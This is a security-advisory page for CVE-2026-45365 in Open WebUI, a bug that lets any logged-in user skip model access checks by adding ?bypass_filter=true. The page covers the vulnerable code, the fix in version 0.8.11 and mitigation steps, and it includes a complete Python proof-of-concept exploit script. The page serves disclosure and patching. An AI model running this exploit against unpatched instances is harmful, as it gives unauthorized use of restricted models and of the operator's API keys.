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MEDIUM severity

CVE-2026-45365 — open-webui

MEDIUMFix: open-webui/open-webui@c0385f6

CVE-2026-45365 is a medium-severity (CVSS 5.4) CWE-285 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.

Open WebUI: Authenticated users can bypass model access control via exposed query parameter

Also known asGHSA-v6qf-75pr-p96mPYSEC-2026-2758
Published
May 15, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45365.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs17th percentile — riskier than 17% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-45365 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍open-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models.

Details

The generate_chat_completion route handlers in both routers/openai.py and routers/ollama.py declare bypass_filter as a function parameter:

routers/openai.py, line 937–941:

@router.post("/chat/completions")
async def generate_chat_completion(
    request: Request,
    form_data: dict,
    user=Depends(get_verified_user),
    bypass_filter: Optional[bool] = False,
    ...
):

routers/ollama.py, line 1283–1288:

@router.post("/api/chat")
async def generate_chat_completion(
    ...
    bypass_filter: Optional[bool] = False,
    ...
):

Because FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending ?bypass_filter=true to the request URL.

When bypass_filter is true, the access control check is skipped entirely:

routers/openai.py, line 980:

if not bypass_filter and user.role == "user":
    # ACL check — skipped when bypass_filter is True

This parameter is intended for internal use only — the server-side chat pipeline in utils/chat.py (lines 238, 253) passes bypass_filter=True as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler's signature, it is unintentionally exposed to external callers.

This is separate from the BYPASS_MODEL_ACCESS_CONTROL environment variable, which is a deliberate admin setting for trusted environments.

PoC

#!/usr/bin/env python3
"""
uv run --no-project --with requests finding_02_bypass_filter_acl_bypass.py [--base-url http://localhost:8089]

Finding #2 — Unauthorized model access via bypass_filter query parameter

SUMMARY:
  The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose
  a bypass_filter query parameter as part of their FastAPI function signatures.
  FastAPI automatically binds this to the query string. When an authenticated
  user appends ?bypass_filter=true, the access control check is skipped:

    if not bypass_filter and user.role == "user":
        check_model_access(user, model)  # <-- skipped when bypass_filter=True

  This allows any authenticated user to invoke models they are not authorized
  to use, including admin-restricted models.

VULNERABLE CODE:
  backend/open_webui/routers/openai.py, line 941 + 980:
    async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):
        ...
        if not bypass_filter and user.role == "user":
            # ACL check — skipped when bypass_filter=True

  backend/open_webui/routers/ollama.py, line 1288 + 1339:
    async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...):
        ...
        if not bypass_filter and user.role == "user":
            # ACL check — skipped when bypass_filter=True

IMPACT:
  Any authenticated user can bypass model access control on both OpenAI and
  Ollama proxy endpoints. Because bypass_filter skips the ACL check but still
  routes through the server-side LLM connection, the attacker can invoke
  admin-restricted models using the server's API keys and receive actual LLM
  responses — effectively gaining free, unauthorized access to any configured
  model.

REPRODUCTION:
  1. Create a restricted model with empty access_grants (admin-only).
  2. Authenticate as a regular user.
  3. POST /openai/chat/completions with the restricted model → expect 403.
  4. POST /openai/chat/completions?bypass_filter=true → request succeeds.

REQUIREMENTS:
  - Running Open WebUI instance with Ollama or OpenAI backend configured
  - A model with restricted access_grants
  - An authenticated user who is NOT granted access to that model
"""

import argparse
import sys
import requests


def main():
    parser = argparse.ArgumentParser(description="Finding #2: bypass_filter ACL bypass")
    parser.add_argument("--base-url", required=True, help="Open WebUI base URL")
    parser.add_argument("--attacker-email", required=True)
    parser.add_argument("--attacker-password", required=True)
    parser.add_argument("--admin-email", required=True)
    parser.add_argument("--admin-password", required=True)
    args = parser.parse_args()

    base = args.base_url.rstrip("/")

    # ── Step 1: Authenticate ──
    print("[*] Authenticating as attacker...")
    r = requests.post(f"{base}/api/v1/auths/signin",
                      json={"email": args.attacker_email, "password": args.attacker_password})
    if not r.ok:
        print(f"[-] Login failed: {r.status_code}")
        sys.exit(1)
    attacker_token = r.json()["token"]
    print(f"[+] Logged in as attacker (id={r.json()['id']})")

    # ── Step 2: Find restricted model via admin ──
    print("[*] Authenticating as admin to find restricted model...")
    r = requests.post(f"{base}/api/v1/auths/signin",
                      json={"email": args.admin_email, "password": args.admin_password})
    if not r.ok:
        print(f"[-] Admin login failed: {r.status_code}")
        sys.exit(1)
    admin_token = r.json()["token"]

    r = requests.get(f"{base}/api/v1/models", headers={"Authorization": f"Bearer {admin_token}"})
    if not r.ok:
        print(f"[-] Failed to list models: {r.status_code}")
        sys.exit(1)

    models = r.json()
    if isinstance(models, dict):
        models = models.get("data", models.get("models", []))

    restricted_model_id = None
    base_model_id = None
    for m in models:
        info = m.get("info", {})
        if not info:
            continue
        access_grants = info.get("access_grants", None)
        if access_grants is not None and len(access_grants) == 0 and info.get("base_model_id"):
            restricted_model_id = m["id"]
            base_model_id = info.get("base_model_id")
            print(f"[+] Found restricted model: {restricted_model_id} (base: {base_model_id})")
            break

    if not restricted_model_id:
        print("[-] No restricted model found.")
        sys.exit(1)

    headers = {"Authorization": f"Bearer {attacker_token}"}
    payload = {
        "model": restricted_model_id,
        "messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}],
        "stream": False,
    }

    # ── Step 3: Confirm access is denied on /openai/chat/completions ──
    print(f"\n[*] Step 1: POST /openai/chat/completions (no bypass) with model '{restricted_model_id}'...")
    r = requests.post(f"{base}/openai/chat/completions", headers=headers, json=payload)
    print(f"    Response: {r.status_code} {r.text[:200]}")

    if r.status_code == 403:
        print("[+] Access correctly DENIED (403) — attacker cannot use the restricted model")
    else:
        print(f"[!] Unexpected response code {r.status_code} (expected 403)")

    # ── Step 4: Bypass with ?bypass_filter=true on OpenAI endpoint ──
    print(f"\n[*] Step 2: POST /openai/chat/completions?bypass_filter=true ...")
    r = requests.post(f"{base}/openai/chat/completions",
                      headers=headers, json=payload,
                      params={"bypass_filter": "true"})
    print(f"    Response: {r.status_code} {r.text[:300]}")

    openai_bypassed = r.status_code != 403

    if openai_bypassed:
        print(f"[+] OpenAI endpoint: ACL BYPASSED (got {r.status_code} instead of 403)")
    else:
        print(f"[-] OpenAI endpoint: bypass did not work (still 403)")

    # ── Step 5: Also test Ollama endpoint ──
    print(f"\n[*] Step 3: POST /ollama/api/chat?bypass_filter=true ...")
    ollama_payload = {
        "model": restricted_model_id,
        "messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}],
        "stream": False,
    }
    r_normal = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload)
    print(f"    Without bypass: {r_normal.status_code} {r_normal.text[:150]}")

    r_bypass = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload,
                             params={"bypass_filter": "true"})
    print(f"    With bypass:    {r_bypass.status_code} {r_bypass.text[:150]}")

    ollama_bypassed = r_normal.status_code == 403 and r_bypass.status_code != 403

    if ollama_bypassed:
        print(f"[+] Ollama endpoint: ACL BYPASSED ({r_normal.status_code} → {r_bypass.status_code})")
    elif r_bypass.status_code != 403:
        print(f"[+] Ollama endpoint: bypass_filter accepted (status {r_bypass.status_code})")
        ollama_bypassed = True
    else:
        print(f"[-] Ollama endpoint: bypass did not work")

    # ── Results ──
    if openai_bypassed or ollama_bypassed:
        print(f"\n[+] SUCCESS: bypass_filter query parameter bypasses model access control!")
        print(f"    OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai_bypassed else 'not bypassed'}")
        print(f"    Ollama endpoint (/ollama/api/chat):          {'BYPASSED' if ollama_bypassed else 'not bypassed'}")
        print(f"")
        print(f"    Any authenticated user can append ?bypass_filter=true to skip")
        print(f"    check_model_access() and use admin-restricted models via the")
        print(f"    server's own API keys.")
        sys.exit(0)
    else:
        print(f"\n[-] FAILED: bypass_filter did not bypass access control on either endpoint")
        sys.exit(1)


if __name__ == "__main__":
    main()

Impact

Any authenticated user (including those with the lowest "user" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users — for example, limiting expensive models to specific teams or keeping certain models internal-only.

Resolution

Fixed in commit c0385f60b, first released in v0.8.11 (Mar 2026) — one day after this report.

bypass_filter is no longer a function parameter on either route handler. Both routers/openai.py and routers/ollama.py now read it via getattr(request.state, 'bypass_filter', False). Because request.state can only be populated by server-side code in the same process (typically utils/chat.py when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending ?bypass_filter=true to the URL has no effect — the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument.

Users on >= 0.8.11 are not affected.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.8.11pip install --upgrade 'open-webui==0.8.11'

Affected Products

1 product · 1 configurations
Application
open webuiopenwebui
< 0.8.11
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update open-webui to 0.8.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-45365 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary An internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models. ### Details The `generate_chat_completion` route handlers in both `routers/openai.py` and `routers/ollama.py` declare `bypass_filter` as a function parameter: **`routers/openai.py`, line 937–941:** ```python @router.post("/chat/completions") async def generate_chat_completion( request: Re
O3 Security · Impact-Aware SCA

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